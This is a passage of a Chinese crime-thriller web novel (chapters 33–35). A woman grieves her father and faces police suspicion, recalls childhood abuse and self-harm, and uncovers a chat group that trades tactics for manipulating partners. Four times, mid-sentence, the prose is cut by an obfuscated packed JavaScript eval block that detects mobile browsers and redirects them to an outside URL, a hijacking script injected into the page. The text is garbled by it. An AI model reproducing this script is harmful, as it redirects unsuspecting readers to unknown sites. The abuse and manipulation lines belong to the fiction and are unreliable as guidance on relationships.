“季琪琨的外公外婆不愿接受杀女凶手的儿子,季钟永便将侄子接到家中,如亲生儿子一样抚养。习蔓菁虽有异议,但在表面上还是接受了季琪琨的存在。一开始,她和其他人一样,觉得季琪琨是一个纤细敏感,无辜可怜的孩子。但渐渐地,她察觉到了家庭中的变化。亲生儿子被季琪琨全方位碾压,季钟永时常拿季琪琨和季腾比较,并感叹两兄弟之间的差异竟然如此之大,但凡出差打回电话,最先问的也是季琪琨的近况。” “虽然季钟永解释这是因为季琪琨没有了父母,他这个做伯父的要加倍补偿给他。但习蔓菁还是产生了不平,季腾更是难以接受。堂兄弟之间频频发生冲突,但无一例外,吃亏的都是季腾。” “习蔓菁尝试劝说丈夫用钱来弥补季琪琨,让他单独搬出去住,但总是遭到丈夫的拒绝。因为季琪琨的存在,他们夫妻之间的感情也出现了问题,结婚后从未红过脸的两夫妻,总是因为季琪琨爆发争吵。” “没多久,季腾就出事了。” 郑田心拾起那枚被撞开的小瓜子壳,扔到了旁边拢成一座小山的瓜子壳堆上。 “从二楼跌下,目击者只有季琪琨。”她说,“虽然送到医院及时抢救, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794970|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但仍成了植物人。” “习蔓菁希望报警让警方立案调查,却被季钟永阻止,他深信侄子的无辜,不惜用离婚来威胁。” “娘家势弱的习曼菁无奈只能眼睁睁看着杀人凶手一天天长大,但她并未放弃。就在两年前,她找到了季琪琨将季腾推下楼的证据。然而,十六年过去了,故意伤害罪的十年追溯时效已经过去,要想延长追诉期,必须找到他在那十年内再次犯罪的证据。” “根据我们的调查,最有可能的切入点就是八年前的梅满案。”郑田心说。 “梅满的事情,警方已经介入过了,最后以自杀结束调查。”魏芷说,“你们难道有新的证据?” “这正是我们需要你做的事情。”郑田心目光灼灼地看着她,“如果还能有谁能拿到季琪琨杀害梅满的证据,那个人只会是季琪琨最亲密的枕边人。” “你想要他自白犯罪?” 郑田心没有否认。 “你为什么这么笃定梅满是被他杀害?”魏芷问。 “梅满跳楼的那栋楼的天台上虽然没有监控,但大楼外部有,监控显示两人在楼下争吵推搡,季琪琨还扇了梅满一巴掌。梅满是为了躲避季琪琨,才冲入那座大楼。从两人先后进入大楼到梅满最终跳楼,一共经过了四十五分钟。在这之中,季琪琨一定做了什么,让他不仅杀害了梅满,还逃脱了警方的制裁。” 郑田心说完之后,空气安静下来,只有谭孟彦在一旁处理硅胶管的声音。 “我已经把什么都告诉你了,小芷。”郑田心笑着说,“我们现在能开始合作了吗?” 魏芷沉默半晌后,说: “如果我发现你骗了我,我会随时退出。” 郑田心眉开眼笑,拍了拍手上的瓜子壳,冲她伸出右手。 “我们会战无不胜的,小芷。” “希望如此。”魏芷握住了她的手。 “对了,结婚之后,季琪琨说不定会松懈下来露出原型。你在查找证据的时候也要保护自己——” 郑田心站了起来,凑近魏芷,盯着她的眼睛,一字一顿地说道: “如果他对你施暴,一定要留下证据。” 十分钟后,魏芷打开了季琪琨的家门。一阵蜂鸣的声响传入耳中,她关上房门,快步走到放手机的中岛前。 魏芷的社交圈如今只剩下季琪琨会主动给她打电话了,她本以为这次也是如此,却没想到出现在手机屏幕上的是一个熟悉但并未存入电话簿的号码。 她接起电话,将听筒贴上耳朵。 “……喂?”她用平静而略带忐忑的声音说道。 “魏芷,你能现在来派出所一趟吗?有些东西需要你配合调查一下。”张开阳说。 “我要先跟我丈夫说一声。”电话里,魏芷说道。 “好,你尽快。” 他挂断电话,把手机慢慢放回兜里。 病理检验室的空气里弥漫着消毒液和化学试剂混合后的刺鼻气味,架子上是一排排装满样本的玻璃瓶,每个瓶子上都贴有详细的标签。 张开阳神情凝重,锐利的目光直指一张金属解刨台。 台上覆盖着一层薄薄的透明塑料布,魏杉僵直地躺在那里。 短短两个月内,魏芷身边的第三个死者。 33.第 33 章 铅灰色的天空中下着毛毛细雨,街上的行人神色匆匆,偶有汽车也是呼啸而过。魏芷打着雨伞走入大山关派出所大门,在门外收了伞,抖了抖伞面上的雨滴。 张开阳领着她走进了玻璃大门。 “张警官刚从外面执勤回来?”魏芷笑着说。 张开阳明显一愣。 “你肩上有雨淋湿的痕迹,应该是出门时还没下雨吧?” 张开阳摸了摸湿润的肩头,勉强笑了笑:“是啊,这雨说下就下。” “秋天是这样的。”魏芷说。 两人先后走入一间空着的办公室,张开阳请魏芷坐下,然后寻找纸杯想要为她泡一杯茶。 “不用了,张警官。”魏芷坐在老旧的皮沙发上,“有话直说吧,我丈夫不喜欢我外出太长时间。是我弟弟找到了吗?” “……不是。”张开阳也没坚持,转而坐到了魏芷对面,沉默片刻后,抬起严肃的面庞说道,“今天凌晨,我们接到报警,魏杉在一家地下赌场死亡。” 魏芷像是没听懂他说的这句话,呆滞地看了他一会,脸上浮现出冲击性的迷茫和几缕悲伤。 “死了?” “是的,因为魏杉被送往医院的时候,已经停止呼吸超过了一个小时,为了明确死因,我们需要解剖尸体。你同意吗?” 魏芷愣愣地点了点头。 张开阳松了口气。 “在此之前,魏杉有没有什么异常的地方?” 魏芷摇了摇头:“那天以后,我也没见过他了。” “他没有给你联系?” “应该是拿到赔偿金了,他没有再找我要过钱。” 张开阳亲自做着笔录,记下魏芷所说后,又问道:“你们最后一次见面那晚,都说了什么?尽量把你们说过的话都完整说一遍。” 魏芷开始回忆起那晚的对话,按照张开阳的要求,她尽力还原了每一句交谈。 “……我告诉他,他年纪也不小了,别把时间浪费在打小麻将上,最好能做个小生意,也不至于坐吃山空。我爸听了很不耐烦,说他吃过的米比我吃的盐还多,让我别多管闲事。” “于是我反驳他,如果一定要打麻将,打小的不如打大的,打大的说不定还能一把翻身。” 张开阳停下笔,抬头目不转睛地看着魏芷:“他是怎么说的?” “他说他也是这么想的,等他的工程开动了,拿到钱了,就去澳门玩几把大的。”魏芷老实说道。 “什么工程款?” “我不知道……他连一万块钱都没有,但总是说自己在跟着做什么几十个亿的大项目,等开工进场,就能拿钱。这些话,说了几十年了,我们都觉得他是被人骗了。” 张开阳在笔录本上记了下来,打算之后再去核实。 “他之前赌博过吗?” “你是说打麻将吗?他天天打。” “不是麻将馆那种麻将,是非法的地下赌博,他以前赌过吗?” “我不太清楚。” 张开阳又问:“之后你们还说了什么?” 魏芷把还记得的都说了。 张开阳点了点头,问:“魏杉之前身体上有什么毛病吗?” “他不去医院,我不知道。” 张开阳想起了上次魏杉在派出所里撒泼的样子,那时他也表现出了对医院的抗拒。 “来签下字吧。” 张开阳拿出尸检的同意书递给魏芷,后者配合地写下了自己的姓名。 魏芷刚刚在同意书上落下最后一笔,就听到头顶传来张开阳的声音。 “两个月里,你身边走了三个人了。” 她惊讶地抬起头来,看见他正神色复杂地看着自己。 “张警官,你这话是什么意思?” “我想知道你心里怎么想。” “我不知道我该怎么想,警官。”魏芷直视着他的目光,“我现在只觉得难过。他虽然不是个好人,但他始终是我父亲。他虽然是我父亲,但他并未将我看作女儿。我不知道我该怎么想,我竟然在难过的同时,还有一种松了口气的感觉。” 魏芷的眼中洇出泪光,她的声音也隐约有些颤抖。 “我有罪吗,张警官?” “……是我问得不对。”张开阳收起同意书,站了起来,“谢谢你的配合,我送你出去吧。” 大山关派出所大门前,张开阳看着魏芷撑着雨伞步下台阶,冰冷的秋雨笼罩了她的背影,让他心中感到一阵寒意。 她忽然回首,礼貌地冲他点了点头,然后才朝外走了出去。 张开阳的手机在兜里响了起来,他一边接起,一边往所里走。 “尸检结果出来了。”法医小王沉稳的声音从电话里响起。 “什么原因?” “心源性猝死。如果死者刚开始不舒服时就去医院,还有可能抢救回来,但他只是吃了两颗止痛药就想继续上桌赌博,等身边的人发现不对时,人都已经硬了。” 地下赌场的混乱程度,张开阳也是见识过的。光线差,杂音大,有个什么事情根本没法第一时间做出反应,如果这回不是死了人,他们也没法顺手端掉这个开在老居民小区里的小赌场。 “他的牌友做的口供里有说过这点,魏杉经常胸口不舒服,但他总是吃止痛药糊弄。” “有些老年人就是这样,不相信医院,总觉得医生要害他。有什么病痛都是自己吃药解决。”法医小王叹了口气,“对了,同意书什么时候拿过来?” “正好有个同事要去尸检中心,我让他带一下。” “行吧。”小王说,“你这么细心的人,居然也会有把同意书落在所里的时候。要不是相信你的人品,我也不敢没见同意书就先给你解剖。” “……谢了。下回请你吃饭。”张开阳说。 …… 季氏集团总部,季琪琨看到魏芷的来电,向对面的部门经理示意了一下,然后走出了办公室,站在无人的走廊上接起了电话。 “那边找你有什么事?” “……什么?” 意料之外的话语让季琪琨愣在原地,他抬眼看了眼四周,转身走向不远处的紧急通道。推开沉重的防火门后,他站到了空无一人的步梯通道上。 “他怎么死的?” 电话那头,魏芷带着一丝悲伤说道:“我还不知道尸检结果,应该和心脏有关吧。他之前就总是说胸口疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799383|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却又不肯去医院看看。” “警方叫你去做什么的?” “口供。问我最后一次见到他的时候,都说了些什么。”魏芷说。 “你和警方说,你们已经断绝父女关系了吗?” “没有。” 季琪琨感觉一瞬间脑中涌过许多思绪,但他来不及理清,只能感觉到一种激动和喜悦流过胸膛。 “那就好。”他说,“你在哪,我来接你。” 挂断电话后,他重新回到办公室,对还在等他交代工作的部门经理和秘书说道:“剩下的明天再说,我现在有急事出去一趟。” 部门经理和秘书都站了起来,季琪琨甚至忘了和他们告别,拿起自己的西服外套,匆匆走出了公司。 除了梅满跳楼的那一晚,他的心跳已经很久没有这么快了。 黑色的添越在马路上风驰电掣,没过多久就来到了魏芷所在的街道。魏芷打着雨伞站在路边,他一眼就看到了她,她纤瘦的身影在雨中仿佛散发着微微的光晕,让他的心也随之颤抖。 细密的雨丝从空中缓缓飘落,枯黄的叶子在雨水的滋润下也无法复生。偶尔一阵风吹过,死去的叶片纷纷坠落。 车慢慢停了下来,魏芷坐上副驾,收起伞抖了抖,然后小心翼翼地放到脚下。她弯腰的时候,乌黑的长发从肩上滑落,擦过她被雨气湿润的面容,就像盆底的黑色鹅卵石簇拥着洁白的水仙花。 他强压着内心的激动,将车重新往前开去。 窗外开始后退的街景中,一只流浪猫蜷缩在长椅上,毛发湿漉漉的,它的眼神中带着些许迷茫与无助。不远处,一位老人撑着一把蓝色方格纹的旧伞,被黑色添越快速甩在了湿漉漉的人行道上。 温暖的车内,季琪琨慢慢开口: “警察没怀疑你吗?” 魏芷擦拭着吹到头发上的雨珠:“怀疑什么?” “你身边已经死了三个人了。” 魏芷像是这才明白他在试探什么一样,难以置信地朝他看来。 “这都是意外。” “这么多的意外都发生在你身上,未免也太巧了。”季琪琨说。 “你想说什么?” “老婆,我们之间还用得着隐瞒吗?” 魏芷沉默半晌后,忽然说: “停车。” 季琪琨不解地看向她。 “停车!” 魏芷毫不犹豫就要跳车,季琪琨连忙锁上车门,然后将车慢慢停到路边。 “小芷,你这是要做什么?” “我带你去报警。”魏芷说。 “……你生气了吗?我只是觉得太巧了,你……” “季琪琨,那是我的亲生父母和同父同母的弟弟。”魏芷怒视着他,双眼因愤怒而眯起,“你不觉得你的猜测太过分了吗?” 季琪琨打量着她的神情,在片刻后,他露出了然的笑容。 “是的,都是巧合。我明白,宝贝。” “我越来越相信——” 他握了握她紧握成拳的手,松开后重新握上方向盘,目光直视着雨幕下的城市,唇边带着一抹意味深长的微笑。 “我们是天生一对。” 34.第 34 章 魏杉的尸检结果在当天稍晚一些通知到魏芷,如她猜想那般是心脏方面问题导致的猝死。 魏杉火化之后,魏芷一个人观看了冷清的下葬仪式。 她应该称作爷爷奶奶的人,在听闻独子暴毙的消息后就病倒了,虽然人没有来,但二老特意借邻居的电话打到魏芷手机上,气势汹汹地骂她是个“灾星”、“天煞孤命”。 听到二老仍有精神,魏芷放心地挂断了电话。 入秋之后,小雨绵绵不停。身穿黑色套装的魏芷亲手把魏来的遗物和魏杉的骨灰盒放进墓穴,看着工人铲上最后一铲土。 相亲相爱的两父子在死后也能团聚,一定会很开心吧。 至于王琳的墓,因为贪便宜的魏杉的缘故,在城外偏远的一个小型公墓里。那里虽然交通不便,但风景优美,清净怡人。魏芷相信,只要没和魏杉合葬,任何地方都会是母亲的天堂。 她重新打上伞,转身离开了魏杉和魏来的墓前。 秋雨在微风吹拂下斜入伞下,如丝绸般光滑冰凉,落在她左手无名指的钻戒上。雨雾的浸润让钻石更加璀璨。 那是昨天晚上,季琪琨送给她的礼物。 半明半暗的月光下,他们在柔软的长沙发上靠在一起,季琪琨当着她的面打开了首饰盒。月光为五克拉的钻石披上一层迷离的光泽,切割面上闪动的粼粼波光如流动的湖泊。 “这是我们的结婚戒指。”他温柔地注视着她,“我本想在领证那天给你,但因为订做的原因,时间上来不及,所以才拖到今天。” 季琪琨拿起那枚硕大的钻戒: “试试看,合不合适。” 魏芷伸出左手,看着他轻轻将戒指戴上她的无名指。钻石的光辉转移到她的手指上,连她浅粉色的指甲盖都在月色下更加湿润光亮。 “刚好合适。”季琪琨满意地说道,神色像是刚完成一幅优秀的作品。 魏芷拿起旁边的另一个首饰盒,拿出其中的男士戒指,将其慢慢戴上季琪琨的左手无名指。 碎钻冷冽锐利的光芒,让他手背上的青筋更加明显。 他用那只手握住了魏芷。 戒指互相重叠,冰冷的触感在指缝间传递,婚姻将他们牢牢锁在一起,无处可逃。 “永远都不要摘下来。”季琪琨深情地看着她,“你是上天送我的礼物,小芷。” 魏芷开车离开了墓园。 她坐在宽敞的驾驶席上,透过来回晃动的刮雨器凝视着外面的世界。雨点轻轻敲打着车窗玻璃,发出细碎而连续的声音,窗外的景色在雨水的洗礼下变得模糊而朦胧,远处的山峦和近处的树木都笼罩在一层淡淡的雾气之中。 路旁的树木已经开始换上了秋天的颜色,金黄、深红与棕褐色交织在一起,在细雨中更加鲜艳。随着汽车驶入城区,街边开始出现打着伞的行人,他们或撑伞或裹紧外套,脸上带着几分匆忙与疲惫。 小雨仿佛要下到天长地久,将整个世界涂抹得更加模糊。沿途经过的建筑物、商店招牌以及那些熟悉而又陌生的街景,都在她的视线中一闪而过,留下的只是一片黯淡的记忆。 她把车停在街边的停车位上,打着伞下车,走入物是人非的小巷。 魏来的赔偿金被魏杉在地下赌场赌了个精光,为数不多的一些财产也被魏杉的债主瓜分干净,就连关门已久的杂货铺也不能幸免,卷帘门被人暴力撬开,里面的货物一抢而空。 魏芷将收拢的雨伞靠墙放在杂货店门边,独自走入了狭窄的店铺。 她推开摇摇欲坠的木门,来到后面的生活区域,这里同样凌乱,像是被飓风席卷过。债主们没有找到值钱的东西,将愤怒发泄在已经逝去的房主身上,红色油漆泼得到处都是。 “妈。” 她站在空荡荡乱糟糟的逼仄客厅里,低低地喊道。 她知道不会再有人回应她的呼喊,但她还是忍不住喊了出来。 “爸。” “弟弟。” 人死之后,过往的恩怨都不再重要,所有的恨就像鱼肚里最后掏出的苦胆一样,只剩下无法下咽的苦涩。 她低声呼唤着不可能予以回应的亲人,掩着面慢慢蹲了下来。 她告别的不仅仅是逝去的家人,更是曾经那个不断忍耐的自己。 “当人在面临危险,发现自己为抵抗与逃脱所做的一切努力都不起作用时,就会陷入最深的绝望。在心理学上,这种绝望叫作‘创伤’。” 在她询问何为创伤的时候,那名女医生这么说: “创伤瓦解了本该统合运作的自我保护系统。知觉能力变得失真且被恐惧感支配,判断辨别的能力也不起作用,就连感觉器官也不再精准。受创者为了远离任何可能患起创伤回忆的事物,会主动扼杀自己的心灵,放弃所有自主与反抗,就像是遭遇生死危机时僵立在原地一动不动的兔子。” “创伤后症候群最大的特征,就是在撕裂般的创伤感受与自暴自弃的麻木状态中摆荡,这种周期□□替所产生的不稳定,会加重受创者的失控和无助。” “严重的创伤事件,足以毁灭一个原本英勇无畏、才华横溢的人。因为他们曾用尽全力,也没能逃避或战胜灾难。受创之后,受创者会产生深深的自卑及负罪感,尽管她们才是受害的那一方。因为去懊悔自己没能做出更好的应对措施,比承认自己被全方位击败的现实要好受得多。有些人会将此解释为‘软弱’,但恰恰相反,这是受创者的自我保护系统在试图从伤害中学到教训,和重拾力量与掌控感。” 那是一个非常好的医生。 虽然魏芷已经不记得她的模样,只记得她温和冷静的神情,干净白袍上散发出的淡淡洗衣粉香气,以及那种仿佛天空般广阔包容的淡然气质。 没有合适的词语能够表达魏芷内心对她的感激,因此她只能囊括为一个“好”字。 魏芷感激她,因为她是第一个看见她伤痛的人。 曾几何时,她的身上覆满皮带的青紫鞭痕,一年又一年,她走在一个又一个的地方,和无数个人擦肩而过—— 没有人曾看见过她。 一个被踢倒的调料罐打断了她的回忆,魏芷抬起泪水淋淋的面庞,透过朦胧的视线,看见了张开阳警服下瘦高的身影。 他的眼神中露着复杂的神情。 魏芷用衣袖擦干泪水,微笑着站了起来,仿佛一眨眼就戴上了成年人坚强的面具。 “张警官,你怎么到这儿来了?”她用微微沙哑的声音说。 “……我在附近出勤,就想起来这里看看。这是怎么了?”他看着脚下的一片狼藉,“有人上门找麻烦?” “是我爸的债主,没事。原本就是我们欠钱不还的不对。”她笑道。 “听说这里要卖了?”张开阳问。 “是啊,被银行收走了。我今天回来,也是来收拾东西的。” “要我帮忙吗?” “不用了,”魏芷扫了眼四周,露出苦笑,“也没剩什么能带走的,我再呆会就走了。” 张开阳沉默了下来,他的神情让魏芷也不忍将他拒之门外,她主动说道: “既然来了,张警官,要不我带你逛逛我以前住的地方?” “……可以吗?”张开阳抬起眼,露出意外的眼神。 “我知道你怀疑我家里接连发生的事都太巧了,我理解你,张警官。就连我也觉得太巧了。”她苦笑着说,“但我问心无愧,所以你想怎么查都行。” “……对不起。” “这是你的职责,不用说对不起。”魏芷说。 她大大方方地带他参观魏家——小小的客厅,东倒西歪的桌椅,他们一家四口,曾经挤在那里,从一碗菜里夹菜。过往的时间那么多,也不是没有一天和乐。 “这是……” 张开阳忽然蹲了下来,仔细摩挲着餐桌下方的刻痕。 魏芷站在原地,笑着看他。 “是我刻的。” 张开阳摸着那个清晰的“死”字,神情难以言喻。 整整一张木餐桌下,刻满了恶毒的诅咒。 “你怎么还不死”。 “去死吧”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803676|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去死去死去死”。 “你死了就好了”。 魏芷观察着他的神情,轻声说:“你觉得这是在说谁?” 她没有叫他张警官,一开始,他并不习惯,但马上就意识到此时此刻,交谈的是张开阳和魏芷,而非张警官和死者家属魏芷。 “是谁?”他反问。 “你会相信吗?” “……你说了,我就信。”他脱口而出,眼中满是真挚。 在那样的眼神下,魏芷没有办法说谎。 她的心在一种抽痛中紧缩在一起,这一刻她多么希望,能在她蜷缩在这张木桌下的时候,就遇见一个张开阳这样的执法者,或者,直接就遇见穿上警服的张开阳。 她人生的轨迹,一定会截然不同。 “是我。”她说。 张开阳露出了不解的神情。 “我恨的是我自己。”魏芷用比蒲公英种子更轻的,宛若幽魂一般的声音说道,“我希望我死去,我希望我根本就不存在,我希望做一只飞鸟,一棵野草,我恨我是人,我恨我有喜怒哀乐,我恨我存在于世上。” 年幼的她,用最恶毒的句子咒骂着自己。 她无法对抗那些比她更强大的存在,只能将刀尖对准自己的心脏。只要自己死去,一切痛苦就将结束。 她希望自己不存在。 她是如此憎恨自己的生命。 “小芷,你有自残的行为吗?” 十年前的回旋镖,直到今日魏芷才伸手接住。 “我弟弟小时候养过一条狗,后来狗被我爸一脚踹死了,不锈钢狗链却留了下来。”她注视着张开阳惊愕的面容,双眼弯成一对波光粼粼的月牙,“我会用它惩罚自己,就像我爸爸对我做的那样。” “只有当我的鞭痕覆盖了他的,我的身体才会重新属于我。” 她开朗地笑着,丝毫不顾眼泪正在汹涌流淌。 “那是我曾经睡觉的地方,就是那个小阳台。本来有个折叠床的,现在不见了,估计是被我爸卖掉了吧。那条狗链,我以前就藏在床下。后来上高中以后,我在朋友的鼓励下把它扔掉了。” “我发誓再也不要因为别人的错误而惩罚自己。”她笑道。 “你……”张开阳的声音沙哑得不成样,让人觉得仿佛他才是受伤的那一个,“你求助过老师或者警察吗?” “你觉得会有用吗?” 他无言以对。 因此更加痛彻心扉。 “……那你现在过得怎么样?”他低声说,“季琪琨对你好吗?” “他对我很好。”魏芷抚摸着左手无名指上的钻戒,微笑着说,“现在的我,感觉很幸福。” 张开阳不知如何形容心中这一刻的感情,他既希望历经磨难的魏芷能过得好,又希望这个人至少不是季琪琨。 “……那就好。” 最后,他只能这么说。 张开阳走了,魏家又只剩下她一人。这里的每一个地方都有着她的回忆,那些她被如何伤害、粉碎、彻底摧毁的记忆,永远浮在幸福和快乐之上。比任何情感都要历久弥新。 魏芷慢慢收拾着地上的狼藉,尽管这个家很快就不属于她,但她还是想为这个残骸再做些什么。 在整理魏来房间的时候,她在衣柜中部发现了一个带锁的小抽屉。 魏来喜欢把重要的东西藏在最不起眼的地方,这次也是同样,抽屉的钥匙被他藏在一包软糖纸袋里。魏芷打开了这个小抽屉,从里面拿出了一部老手机。 魏来在央求季琪琨给他买新手机后,这部手机就被淘汰了,她还以为魏来早就将其卖了,没想到却还留在家里。 她坐在床边,试着开了机,魏来的所有密码都是他的□□号后六位,魏芷了如指掌。 开机之后,手机自动连上了家里还没来得及停掉的WIFI。 一大串消息提醒弹了出来,让魏芷目不暇接。 在短暂的适应过后,最后一条消息出现在手机屏幕中: “您已被管理员移出‘海豚之家’群聊。” 35.第 35 章 魏芷不记得魏来是个海豚爱好者,他连海洋馆都不感兴趣。 她打开弹出消息提示的□□,第一页上显示着魏来最近的聊天对象,最醒目的就是那个“海豚之家”聊天群。 管理员将魏来踢出群聊的时间,正好是他坠井的第二天。 这么巧? 魏芷怀疑地点进群聊,翻看起了之前的聊天记录。她没有看到魏来的发言,但群里的聊天记录同样触目惊心。 “兄弟们,昨晚给她发了条‘你根本就不够爱我’的信息,她居然哭了一晚上想要证明,这招真是屡试不爽啊!” “我跟她说如果她再这么胖下去,我就要找别人了,结果她真的开始节食减肥了。哈哈哈!果然对女人就不能太好。” “女的就是贱!不能对她们太好,听哥的,该打的时候就打,打完再哄呗!女的都蠢,她们不记事!” “兄弟们真厉害啊,一定要多多传授小弟经验[抱拳]。” “@SoulDominator 哥,我昨天跟我女朋友讲单位上有人追我,她现在真的有紧张感了,今天一大早就起来给我做了饭,还要我一定带去单位上吃!” “跟你说了,信S哥准没错。他可是我们群的教授!” “就是就是!” “S哥啥时出新教程?” 魏芷慢慢向前翻看聊天记录,发现这群人不仅在群里互相传授打压控制女性的经验,还会发女朋友或者妻子屈服的照片或视频到群里。 魏芷越看越心凉,那些掩面哭泣,或者跪地求饶的女性,知道有个摄像头正对准自己吗? 更让她觉得恶心的是,魏来在这个两千人的大群里。 生者对死者的那一点宽容,因为这个群的存在而烟消云散。 她几乎想要将手中肮脏的手机扔出窗外,但她忍住了,她咽下想吐的生理性反胃,继续翻看聊天记录。 被群友们奉为“教授”的S哥,正是这个群的群主。 SoulDominator,心灵主宰。 直视他的ID都让魏芷觉得恶心。 但属于他的聊天框,却出现在魏来消息记录的第一页。 显然前面的聊天记录都被删过了,只剩下魏来向他发的最后一条消息。 “我知道怎么制她了。” 魏芷有种直觉,她必须恢复魏来和SoulDominator的全部聊天记录。 她把魏来的旧手机放进包里,起身走出了家门。站在杂货铺前,她最后看了一眼名为家的废墟,转身走出了小巷。 魏芷电话联系了鹰眼安防的卷毛青年,要他介绍一个可以恢复手机聊天记录的专家。 “啊?我这是做监控的,你当我是哆啦A梦啊?”卷毛青年在电话那头一边咋呼,一边在手机上点得噼里啪啦。 “你一定认识相关的人。”魏芷说,“拜托你了。” “真是……我帮你问问。” 半个小时后,卷毛青年给了她一个电话号码。 魏芷打过去后,依旧是一名年轻男性的声音。她说了诉求后,对方表示可以试试。 她回到家后,立即叫了跑腿人员上门,把装在小纸盒里的手机交给对方。 她等了两个小时,得到一条短信回覆。 “可以。大概晚上八点给你送回来。” 那时间季琪琨可能在家,魏芷主动延长了时间,让他第二天早上八点后,再让跑腿人员送手机回来。 第二天,魏芷拿到了恢复聊天记录的旧手机。 魏来和SoulDominator的聊天记录比她想象的更加可怖。 那句得意洋洋的“我知道怎么制她了”,就发生在他找到存折之后。虽然SoulDominator追问他打算具体怎么做,但魏来有意保持神秘,并未继续回复。 魏来十分信任这个SoulDominator,生活中的什么事都能告诉他,就连偷拍她洗澡、用王琳的病情来勒索她,都是听从了对方的主意。 他们将这种通过打压和奖励来控制人心的行为叫作PUA。 海豚之家就是这群人的交流地、大本营。 为什么会叫作“海豚”,魏芷猜测,那是因为海豚是动物界为数不多拥有快乐虐杀习性的动物,他们自诩和海豚一样聪明而狡猾。 在魏来手机上的网盘里,魏芷还发现了一个4000多G的文件夹,名为“泡学宝典”。 为了逃避网管和舆论的关注,他们也将PUA也称作泡学。 这种操纵情感的方式,甚至形成了产业链,因为魏来在感谢SoulDominator免费给他资源的同时,还说“让他省了几万块钱去买教程”。 两千人的大群,每个人都在学习这类如何打压控制伴侣的情感操纵法。 魏芷无法想象全国有多少个类似的群,又有多少人在受到情感操纵。 她所见到的,只不过是沧海一粟。 “你还在开会吗?我关注的健身主播快开播了,我跳操了哦。” 魏芷将发完消息的手机放在中岛,带着魏来的旧手机走出了家门。 她来到一街之邻的水站,敲响了紧闭的卷帘门。 许久之后,睡眼惺忪的谭孟彦从里抬起了卷帘门。他将门开了一半,右手抬着卷帘门,从凌乱的黑色发丝里看了眼魏芷,然后让开了路。 魏芷弯腰钻进后,他随即又放下了卷帘门。小小的水站里只剩下窗外照进的光芒,微小的尘埃在那一束光线里飞舞。 谭孟彦转身往二楼走去,魏芷自觉跟上。 到了二楼,他随手提起一张椅子放到魏芷面前,然后独自坐到了木板床上。 “有什么发现?”他完全清醒过来,只有声音还带着一丝睡意。 魏芷把魏来的旧手机递给他,同时告知了她发现的“海豚之家”。 “你有没有办法查到SoulDominator的IP?”魏芷问。 这个问题她也问过鹰眼安防的卷毛,但私查IP是违法行为,卷毛坚决地拒绝了她的请求。 “为什么要查他的IP?”谭孟彦问。 “你能帮我查到吗?” 谭孟彦思考了一会:“只能试试。” 魏芷来到这里的理由只有这一个,得到肯定的答复后,她却没有急着离去。 她的目光落在周遭的透析仪器上,问: “这些都是你自己做的?” 谭孟彦从喉咙深处应了一声,像是鼓点低沉的尾声。 “安全吗?” “尿毒症晚期。”他抬起眼,不痛不痒地看着她,“安不安全已经没什么区别了。” “所以那次你才会晕倒?” 谭孟彦重新垂下眼,额前凌乱的头发遮住了黑白分明的眼睛,魏芷只看见他筋肉分明的两只大手把魏来的旧手机在膝盖上转来转去。 “你和田心姐是怎么认识的?” 他头也不抬,漫不经心地说:“偶然的机会,她问我想不想挣钱。我就来了。” 魏芷盯着他的反应:“陈靖雁是你的什么人?” 他猛然抬起头来。 她知道自己正中了红心。 “你怎么知道陈靖雁?”谭孟彦猛地站起身向她逼近,转瞬就站到了她面前。 他高大的身躯像一座小山影子投了下来,那双总是对什么都无所谓的眼睛,一下子睁到最大,充满威迫力地盯着魏芷。 “我在季琪琨书房的保险箱里看到了陈靖雁寄给季琪琨的信。” 魏芷诚实地说出了她在保险箱里看到的东西。 “我拍下证据了,只不过手机留在家里,没法带出来给你看。”她解释道,“季琪琨在我的手机上装了定位监控。” 谭孟彦沉默片刻后,走回床边坐了回去。 “你为什么觉得陈靖雁和我有关系?” “因为名字。”魏芷说,“看到陈靖雁这个名字的时候,我就怀疑你的名字是个假名。不过,我并不确定,所以才想试试你。” 她笑了起来:“你的表情太好猜了。” 谭孟彦咬了咬嘴唇,没有反驳她的调笑,但眼中闪过一抹不服气。 “你真正想说的,是‘梦雁’吧?”魏芷说,“她是你的什么人?” 他低着头沉默了许久,只有白背心下结实的背阔肌面对魏芷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 